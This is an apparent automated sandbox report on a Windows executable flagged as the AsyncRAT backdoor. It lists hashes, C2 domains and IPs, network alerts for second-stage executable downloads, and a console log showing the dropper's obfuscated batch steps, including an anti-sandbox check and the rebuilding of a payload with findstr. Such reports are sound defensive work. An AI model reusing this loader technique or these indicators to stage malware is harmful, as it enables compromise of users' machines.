Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Sept. 8, 2021, 9:41 a.m.	Sept. 8, 2021, 9:48 a.m.

Size	15.7KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`56c100bab6222d310357dad74157a447`
SHA256	`976848f697f63acd8fbd470041b504fc7eb40c35058e3a48d0ac59bfb4808e3c`
CRC32	`39435B0B`
ssdeep	`192:HzKHjHSajMS9/ud8K5O3lDWpHrDWpHE7x0gZHSVLRjt8:HX+MSMJ0DGrDGuph2O`
PDB Path	c:\inetpub\wwwroot\CRYPT_INSTALLS.pdb
Yara	PE_Header_Zero - PE File Signature Generic_Malware_Zero - Generic Malware UPX_Zero - UPX packed file IsPE32 - (no description) Is_DotNET_EXE - (no description) Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT

CRYPT_INSTALLS.exe "C:\Users\test22\AppData\Local\Temp\CRYPT_INSTALLS.exe"
1016
- CRYPT_INSTALLS.exe "C:\Users\test22\AppData\Local\Temp\CRYPT_INSTALLS.exe"
  2760
  - eth.exe "C:\Users\test22\AppData\Local\Temp\eth.exe"
    2728
    - dllhost.exe dllhost.exe
      2252
    - cmd.exe cmd /c cmd < Aspettavo.docm
      492
      - cmd.exe cmd
        2112
        
        findstr.exe findstr /V /R "^MXTmYNagWuMGokUkyBUwMSznxUsGnfuYAwUnxyAWGwvUlUJSsvVBkfAUDcttvMQGqNuidvQqwYcKvmgmknfwxFNlBqUYqcmUk$" Ritrovar.docm
        2208
        
        Ama.exe.com Ama.exe.com U
        1232
        
        Ama.exe.com C:\Users\test22\AppData\Local\Temp\IXP000.TMP\Ama.exe.com U
        2292
        
        PING.EXE ping localhost
        240

Name	Response	Post-Analysis Lookup
UNMwIDlLXcJdBCaCx.UNMwIDlLXcJdBCaCx
builder.pp.ru	A 185.244.41.39	185.244.41.39
api.ip.sb	CNAME api.ip.sb.cdn.cloudflare.net A 104.26.13.31 A 104.26.12.31 A 172.67.75.172	104.26.13.31

IP Address	Status	Action
164.124.101.2	Active	Moloch
172.67.75.172	Active	Moloch
185.244.41.39	Active	Moloch
95.215.205.85	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49203 -> 95.215.205.85:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 95.215.205.85:80 -> 192.168.56.101:49203	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 95.215.205.85:80 -> 192.168.56.101:49203	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 95.215.205.85:80 -> 192.168.56.101:49203	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.101:49202 -> 185.244.41.39:443	906200022	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49227 -> 95.215.205.85:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 192.168.56.101:49227 -> 95.215.205.85:80	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	Potentially Bad Traffic
TCP 192.168.56.101:49208 -> 172.67.75.172:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 95.215.205.85:80 -> 192.168.56.101:49227	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 95.215.205.85:80 -> 192.168.56.101:49227	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 95.215.205.85:80 -> 192.168.56.101:49227	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLS 1.2 192.168.56.101:49202 185.244.41.39:443	C=US, O=Let's Encrypt, CN=R3	CN=builder.pp.ru	f5:a6:86:aa:ac:60:8d:af:fa:e4:83:56:09:f9:43:62:e0:34:80:e8
TLSv1 192.168.56.101:49208 172.67.75.172:443	C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2	C=US, ST=California, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com	7d:9f:08:6e:96:fc:4c:1d:eb:94:53:45:8a:6c:7e:e7:c1:69:47:e9

Queries for the computername (12 events)

Time & API	Arguments	Status	Return
GetComputerNameW Sept. 8, 2021, 9:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 8, 2021, 9:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 8, 2021, 9:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 8, 2021, 9:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 8, 2021, 9:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 8, 2021, 9:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 8, 2021, 9:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 8, 2021, 9:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 8, 2021, 9:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 8, 2021, 9:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 8, 2021, 9:42 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 8, 2021, 9:42 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (7 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 8, 2021, 9:41 a.m.			0	0
IsDebuggerPresent Sept. 8, 2021, 9:41 a.m.			0	0
IsDebuggerPresent Sept. 8, 2021, 9:42 a.m.			0	0
IsDebuggerPresent Sept. 8, 2021, 9:42 a.m.			0	0
IsDebuggerPresent Sept. 8, 2021, 9:47 a.m.			0	0
IsDebuggerPresent Sept. 8, 2021, 9:47 a.m.			0	0
IsDebuggerPresent Sept. 8, 2021, 9:47 a.m.			0	0

Command line console output was observed (37 events)

Time & API	Arguments	Status	Return
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: Microsoft Windows [Version 6.1.7601] console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: Copyright (c) 2009 Microsoft Corporation. All rights reserved. console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\IXP000.TMP> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: Set YuQqmYOohrTHlGMyAszORQu=DESKTOP- console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\IXP000.TMP> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: Set JdXJscwGrMkEEZezWlQlmnUIYXYjGcKiZUdp=QO5QU33 console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\IXP000.TMP> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: Set SvIqhePpaYwTWXRxrZWBkDtFcVATZWwWg=ping localhost console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\IXP000.TMP> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: if %computername%==%YuQqmYOohrTHlGMyAszORQu% cmd console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\IXP000.TMP> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: Set gFnJYdawWBRrjHqeys=MZ console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\IXP000.TMP> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: <nul set /p = "%gFnJYdawWBRrjHqeys%" > Ama.exe.com console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\IXP000.TMP> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: findstr /V /R "^MXTmYNagWuMGokUkyBUwMSznxUsGnfuYAwUnxyAWGwvUlUJSsvVBkfAUDcttvMQGqNuidvQqwYcKvmgmknfwxFNlBqUYqcmUk$" Ritrovar.docm >> Ama.exe.com console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\IXP000.TMP> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: copy Inebriarmi.docm U console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: 1 file(s) copied. console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\IXP000.TMP> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: start Ama.exe.com U console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\IXP000.TMP> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: %SvIqhePpaYwTWXRxrZWBkDtFcVATZWwWg% console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\IXP000.TMP> console_handle: 0x00000007	1	1
WriteConsoleW Sept. 8, 2021, 9:47 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\IXP000.TMP> console_handle: 0x00000007	1	1
WriteConsoleA Sept. 8, 2021, 9:47 a.m.	buffer: Pinging test22-PC [::1] console_handle: 0x00000007	1	1
WriteConsoleA Sept. 8, 2021, 9:47 a.m.	buffer: with 32 bytes of data: console_handle: 0x00000007	1	1
WriteConsoleA Sept. 8, 2021, 9:47 a.m.	buffer: Reply from ::1: console_handle: 0x00000007	1	1
WriteConsoleA Sept. 8, 2021, 9:47 a.m.	buffer: time<1ms console_handle: 0x00000007	1	1
WriteConsoleA Sept. 8, 2021, 9:47 a.m.	buffer: Reply from ::1: console_handle: 0x00000007	1	1
WriteConsoleA Sept. 8, 2021, 9:47 a.m.	buffer: time<1ms console_handle: 0x00000007	1	1
WriteConsoleA Sept. 8, 2021, 9:47 a.m.	buffer: Reply from ::1: console_handle: 0x00000007	1	1
WriteConsoleA Sept. 8, 2021, 9:47 a.m.	buffer: time<1ms console_handle: 0x00000007	1	1
WriteConsoleA Sept. 8, 2021, 9:47 a.m.	buffer: Reply from ::1: console_handle: 0x00000007	1	1
WriteConsoleA Sept. 8, 2021, 9:47 a.m.	buffer: time<1ms console_handle: 0x00000007	1	1
WriteConsoleA Sept. 8, 2021, 9:47 a.m.	buffer: Ping statistics for ::1: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), console_handle: 0x00000007	1	1
WriteConsoleA Sept. 8, 2021, 9:47 a.m.	buffer: Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (12 events)

Time & API	Arguments	Status	Return
CryptExportKey Sept. 8, 2021, 9:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0038adb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 8, 2021, 9:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0038adf0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 8, 2021, 9:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0038adf0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 8, 2021, 9:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00501d38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 8, 2021, 9:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00501d38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 8, 2021, 9:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00501db8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 8, 2021, 9:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005af028 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 8, 2021, 9:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005af028 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 8, 2021, 9:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005aef28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 8, 2021, 9:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005af2a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 8, 2021, 9:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005af368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 8, 2021, 9:42 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005af368 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

This executable has a PDB path (1 event)

pdb_path

c:\inetpub\wwwroot\CRYPT_INSTALLS.pdb

Tries to locate where the browsers are installed (2 events)

file	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 8, 2021, 9:41 a.m.		1	1	0

One or more processes crashed (14 events)

Time & API	Arguments	Status
__exception__ Sept. 8, 2021, 9:42 a.m.	stacktrace: 0x695a92 0x695a0d 0x691955 0x6916b0 0x690070 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72532652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7254264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72542e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725f74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x725f7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72681dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72681e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72681f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7268416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73e3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 8b d0 85 c0 75 06 8b 15 2c exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x695b21 registers.esp: 4059496 registers.edi: 37385860 registers.eax: 0 registers.ebp: 4059520 registers.edx: 5191728 registers.ebx: 35530448 registers.esi: 37386040 registers.ecx: 0	1
__exception__ Sept. 8, 2021, 9:42 a.m.	stacktrace: 0x69d287 0x69d1c9 0x69cefa 0x69c982 0x695c29 0x6919bf 0x6916b0 0x690070 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72532652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7254264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72542e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725f74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x725f7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72681dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72681e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72681f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7268416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73e3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 8b 40 04 89 45 d4 c7 45 e4 00 00 00 00 c7 45 e8 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x69d748 registers.esp: 4059224 registers.edi: 38903482 registers.eax: 0 registers.ebp: 4059276 registers.edx: 88057672 registers.ebx: 38903332 registers.esi: 38903552 registers.ecx: 88058196	1
__exception__ Sept. 8, 2021, 9:42 a.m.	stacktrace: 0x69d287 0x69d1c9 0x69cefa 0x69c982 0x695c29 0x6919bf 0x6916b0 0x690070 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72532652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7254264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72542e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725f74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x725f7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72681dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72681e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72681f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7268416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73e3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 8b 40 04 89 45 d4 c7 45 e4 00 00 00 00 c7 45 e8 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x69d748 registers.esp: 4059224 registers.edi: 39869226 registers.eax: 0 registers.ebp: 4059276 registers.edx: 88057672 registers.ebx: 39869076 registers.esi: 39869296 registers.ecx: 88058196	1
__exception__ Sept. 8, 2021, 9:42 a.m.	stacktrace: 0x69d287 0x69d1c9 0x69cefa 0x69c982 0x695c29 0x6919bf 0x6916b0 0x690070 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72532652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7254264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72542e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725f74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x725f7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72681dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72681e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72681f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7268416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73e3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 8b 40 04 89 45 d4 c7 45 e4 00 00 00 00 c7 45 e8 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x69d748 registers.esp: 4059224 registers.edi: 40822014 registers.eax: 0 registers.ebp: 4059276 registers.edx: 88057672 registers.ebx: 40821864 registers.esi: 40822084 registers.ecx: 88058196	1
__exception__ Sept. 8, 2021, 9:42 a.m.	stacktrace: 0x69eed6 0x69ee29 0x69cf6f 0x69c982 0x695c29 0x6919bf 0x6916b0 0x690070 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72532652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7254264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72542e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725f74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x725f7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72681dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72681e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72681f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7268416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73e3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 8b 40 04 89 45 d4 c7 45 e4 00 00 00 00 c7 45 e8 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x69d748 registers.esp: 4059216 registers.edi: 37418386 registers.eax: 0 registers.ebp: 4059268 registers.edx: 88057672 registers.ebx: 37418236 registers.esi: 37418456 registers.ecx: 88058196	1
__exception__ Sept. 8, 2021, 9:42 a.m.	stacktrace: 0x69eed6 0x69ee29 0x69cf6f 0x69c982 0x695c29 0x6919bf 0x6916b0 0x690070 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72532652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7254264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72542e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725f74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x725f7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72681dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72681e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72681f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7268416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73e3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 8b 40 04 89 45 d4 c7 45 e4 00 00 00 00 c7 45 e8 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x69d748 registers.esp: 4059216 registers.edi: 38381882 registers.eax: 0 registers.ebp: 4059268 registers.edx: 88057672 registers.ebx: 38381732 registers.esi: 38381952 registers.ecx: 88058196	1
__exception__ Sept. 8, 2021, 9:42 a.m.	stacktrace: 0x69eed6 0x69ee29 0x69cf6f 0x69c982 0x695c29 0x6919bf 0x6916b0 0x690070 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72532652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7254264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72542e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725f74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x725f7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72681dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72681e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72681f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7268416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73e3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 8b 40 04 89 45 d4 c7 45 e4 00 00 00 00 c7 45 e8 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x69d748 registers.esp: 4059216 registers.edi: 39345378 registers.eax: 0 registers.ebp: 4059268 registers.edx: 88057672 registers.ebx: 39345228 registers.esi: 39345448 registers.ecx: 88058196	1
__exception__ Sept. 8, 2021, 9:42 a.m.	stacktrace: 0x69f437 0x69f389 0x69cfe4 0x69c982 0x695c29 0x6919bf 0x6916b0 0x690070 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72532652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7254264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72542e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x725f74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x725f7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72681dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72681e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72681f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7268416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73e3f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 